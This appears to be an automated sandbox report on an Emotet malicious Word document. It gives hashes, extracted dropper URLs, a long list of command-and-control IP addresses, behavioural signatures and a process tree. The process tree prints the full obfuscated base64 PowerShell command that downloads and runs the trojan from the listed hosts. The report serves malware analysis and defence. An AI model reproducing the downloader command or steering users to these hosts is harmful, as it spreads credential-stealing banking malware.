emotet | a834eee056511d26145abd3184681bc4afaf44e4d370bf83d950e66751704ea5

Analysis

max time kernel
136s
max time network
154s
platform
windows10_x64
resource
win10
submitted
19/08/2020, 14:09

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General

Target
emotet_e1_a834eee056511d26145abd3184681bc4afaf44e4d370bf83d950e66751704ea5_2020-08-19__140802._doc.doc
Size 247KB
Sample200819-hyse8fklq2
SHA256 a834eee056511d26145abd3184681bc4afaf44e4d370bf83d950e66751704ea5
MD5 b770f81ccadd40af3984c887c4d4d852
SHA1 5899f5fb3dbff745c40c91ce6dfbef5d6b6f2bdb
SHA512 f4bb0e0e25c6b6e6cbea922bf94b9dc93d9eb12210468dba325edd74f02ef67e8b2f80c5fbc6b35cbb0151510cf312f819ef7335de087b14f45b313dbb691b37
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://sonacars.com/sys-cache/f/
exe.dropper
http://abcv5.com/wp-includes/7/
exe.dropper
http://simonwhite.us/sys-cache/q0/
exe.dropper
http://benitezseguros.com.ar/dkywlkxs/Gd/
exe.dropper
http://reiget.com/z4utsk/n70/
exe.dropper
https://speedypush.com/wp-content/Eb/

Extracted

Family

emotet

82.163.245.38:80
209.126.6.222:8080
5.153.250.14:8080
186.70.127.199:8090
190.128.173.10:80
190.195.129.227:8090
91.219.169.180:80
45.173.88.33:80
185.33.0.233:80
188.2.217.94:80
207.144.103.227:80
45.161.242.102:80
219.92.13.25:80
190.163.31.26:80
68.183.170.114:8080
191.99.160.58:80
73.213.208.163:80
94.176.234.118:443
104.131.41.185:8080
45.33.77.42:8080
114.109.179.60:80
213.60.96.117:80
41.84.248.134:443
83.169.21.32:7080
82.76.111.249:443
217.199.160.224:7080
80.249.176.206:80
82.196.15.205:8080
204.225.249.100:7080
190.6.193.152:8080
189.2.177.210:443
177.72.13.80:80
24.135.1.177:80
190.115.18.139:8080
192.241.146.84:8080
209.236.123.42:8080
213.176.36.147:8080
5.196.35.138:7080
104.131.103.37:8080
51.159.23.217:443
190.147.137.153:443
149.62.173.247:8080
137.74.106.111:7080
61.92.159.208:8080
177.73.0.98:443
24.135.198.218:80
85.105.140.135:443
187.162.248.237:80
46.28.111.142:7080
116.125.120.88:443
87.106.46.107:8080
212.71.237.140:8080
12.162.84.2:8080
178.79.163.131:8080
111.67.12.221:8080
95.9.180.128:80
192.241.143.52:8080
201.171.150.41:443
24.148.98.177:80
190.190.148.27:8080
186.103.141.250:443
72.47.248.48:7080
68.183.190.199:8080
172.104.169.32:8080
185.94.252.12:80
178.250.54.208:8080
91.222.77.105:80
217.13.106.14:8080
77.90.136.129:8080
2.47.112.152:80
95.180.234.21:80
186.250.52.226:8080
181.129.96.162:8080
77.55.211.77:8080
185.94.252.27:443
174.100.27.229:80
177.74.228.34:80
67.247.242.247:80
95.85.151.205:80
70.32.115.157:8080
89.32.150.160:8080
212.93.117.170:80
50.28.51.143:8080
94.206.45.18:80
202.4.57.96:80
191.182.6.118:80
58.171.153.81:80
143.0.87.101:80
51.255.165.160:8080
70.32.84.74:8080
73.116.193.136:80
170.81.48.2:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	508	3508	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1324-15-0x0000000000AD0000-0x0000000000ADC000-memory.dmp	emotet
behavioral2/memory/1324-15-0x0000000000AD0000-0x0000000000ADC000-memory.dmp	emotet
behavioral2/memory/1812-18-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet
behavioral2/memory/1812-18-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
22	508	powersheLL.exe
24	508	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1324	Szrww6tn.exe
1812	mssph.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\MTF\mssph.exe	Szrww6tn.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
508	powersheLL.exe
508	powersheLL.exe
508	powersheLL.exe
1812	mssph.exe
1812	mssph.exe
1812	mssph.exe
1812	mssph.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	508	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
1324	Szrww6tn.exe
1324	Szrww6tn.exe
1812	mssph.exe
1812	mssph.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 508 wrote to memory of 1324	508	powersheLL.exe	74
PID 508 wrote to memory of 1324	508	powersheLL.exe	74
PID 508 wrote to memory of 1324	508	powersheLL.exe	74
PID 1324 wrote to memory of 1812	1324	Szrww6tn.exe	76
PID 1324 wrote to memory of 1812	1324	Szrww6tn.exe	76
PID 1324 wrote to memory of 1812	1324	Szrww6tn.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a834eee056511d26145abd3184681bc4afaf44e4d370bf83d950e66751704ea5_2020-08-19__140802._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3920

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABTADgAZgA4AHAAYgBpAD0AKAAnAFMAZQAyAGMAbQAnACsAJwBkACcAKwAnADIAJwApADsALgAoACcAbgBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAFYAOgB0AEUATQBwAFwAbwBmAGYASQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAYABSAGAASQB0AHkAUAByAG8AVABPAGMAYABPAEwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAIAB0AGwAcwAxACcAKwAnADEALAAgACcAKwAnAHQAJwArACcAbAAnACsAJwBzACcAKQA7ACQARgA4AHMAYgAwAGkAMAAgAD0AIAAoACcAUwB6AHIAJwArACcAdwB3ADYAJwArACcAdABuACcAKQA7ACQARwBtAHAAaABpADMAZQA9ACgAJwBEAHAAJwArACcAOQAnACsAJwBlAGMAagA2ACcAKQA7ACQAWABwAHEAcAB1ADgAbAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0ATwBmAGYAJwArACcAaQBjACcAKwAnAGUAJwArACcAMgAwADEAOQB7ADAAJwArACcAfQAnACkALQBGACAAWwBDAEgAYQByAF0AOQAyACkAKwAkAEYAOABzAGIAMABpADAAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEEAMQBwAGcAagAzAGUAPQAoACcAWgBsAGoAJwArACcAMwBtADkANQAnACkAOwAkAFUAMQBuAG8AYQBjAGsAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQBUAC4AdwBlAGIAQwBMAGkARQBuAHQAOwAkAEcAMwBvAHYAbQAxAGoAPQAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwBzAG8AbgBhAGMAJwArACcAYQByAHMAJwArACcALgBjACcAKwAnAG8AbQAvAHMAeQBzAC0AYwBhAGMAaAAnACsAJwBlAC8AZgAvACoAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8ALwBhAGIAYwB2ADUAJwArACcALgAnACsAJwBjAG8AbQAvAHcAcAAnACsAJwAtAGkAbgBjAGwAdQBkAGUAcwAvADcALwAnACsAJwAqAGgAdAB0AHAAOgAvAC8AcwBpAG0AbwBuAHcAaABpAHQAZQAnACsAJwAuAHUAcwAvAHMAeQBzACcAKwAnAC0AJwArACcAYwBhACcAKwAnAGMAaAAnACsAJwBlAC8AcQAnACsAJwAwAC8AJwArACcAKgAnACsAJwBoAHQAdABwADoALwAvAGIAZQBuAGkAdAAnACsAJwBlAHoAJwArACcAcwAnACsAJwBlAGcAJwArACcAdQByAG8AcwAnACsAJwAuAGMAJwArACcAbwBtAC4AJwArACcAYQByACcAKwAnAC8AZABrAHkAdwAnACsAJwBsAGsAeABzAC8AJwArACcARwBkAC8AKgBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAHIAZQBpAGcAZQAnACsAJwB0ACcAKwAnAC4AYwBvACcAKwAnAG0AJwArACcALwB6ADQAdQB0AHMAawAvAG4ANwAnACsAJwAwAC8AKgBoACcAKwAnAHQAdAAnACsAJwBwAHMAJwArACcAOgAnACsAJwAvAC8AcwAnACsAJwBwAGUAZQBkAHkAcAB1AHMAaAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAYgAvACcAKQAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVAHEAZgB6ADQAaQByAD0AKAAnAFEAJwArACcAZABoAHkANABvACcAKwAnAHgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASgA5AHoAZQA2AGoAXwAgAGkAbgAgACQARwAzAG8AdgBtADEAagApAHsAdAByAHkAewAkAFUAMQBuAG8AYQBjAGsALgAiAGQAbwBXAGAATgBgAGwAbwBBAGQAZgBgAGkATABlACIAKAAkAEoAOQB6AGUANgBqAF8ALAAgACQAWABwAHEAcAB1ADgAbAApADsAJABQAHAAdwBmAGQAZwBoAD0AKAAnAEYAJwArACcAagBpADgAcwAnACsAJwBuAHcAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFgAcABxAHAAdQA4AGwAKQAuACIAbABFAGAATgBgAEcAdABoACIAIAAtAGcAZQAgADIANAA0ADMANgApACAAewAmACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABYAHAAcQBwAHUAOABsACkAOwAkAE8AbQB4AGQAZgBvADMAPQAoACcAQwB1ACcAKwAnAGYAdgByAG4AJwArACcAdwAnACkAOwBiAHIAZQBhAGsAOwAkAFcAZgA4AGwAegBsAHcAPQAoACcAUgByAHQAYQB2ADYAJwArACcAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAYwBqAGMAYQBsAHEAPQAoACcAVgAnACsAJwA4AGEAeABiADgAMgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:508
- C:\Users\Admin\AppData\Local\Temp\Office2019\Szrww6tn.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Szrww6tn.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1324
- - C:\Windows\SysWOW64\MTF\mssph.exe
    "C:\Windows\SysWOW64\MTF\mssph.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1812

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/508-10-0x000001C0EC950000-0x000001C0EC951000-memory.dmp

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memory/508-11-0x000001C0ECB00000-0x000001C0ECB01000-memory.dmp

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memory/508-9-0x00007FFEA1B50000-0x00007FFEA253C000-memory.dmp

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memory/1324-15-0x0000000000AD0000-0x0000000000ADC000-memory.dmp

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memory/1812-18-0x00000000005C0000-0x00000000005CC000-memory.dmp

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memory/3920-4-0x000001F4F03E9000-0x000001F4F03FA000-memory.dmp

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memory/3920-8-0x000001F4F0573000-0x000001F4F057C000-memory.dmp

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memory/3920-7-0x000001F4F057C000-0x000001F4F058A000-memory.dmp

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memory/3920-6-0x000001F4F057C000-0x000001F4F058A000-memory.dmp

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memory/3920-5-0x000001F4F01E8000-0x000001F4F02B5000-memory.dmp

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memory/3920-0-0x00007FFEAA320000-0x00007FFEAA9E6000-memory.dmp

Download

memory/3920-3-0x000001F4F03E9000-0x000001F4F03FA000-memory.dmp

Download

memory/3920-2-0x000001F4F03E9000-0x000001F4F03FA000-memory.dmp

Download

memory/3920-1-0x000001F4F03E9000-0x000001F4F03FA000-memory.dmp

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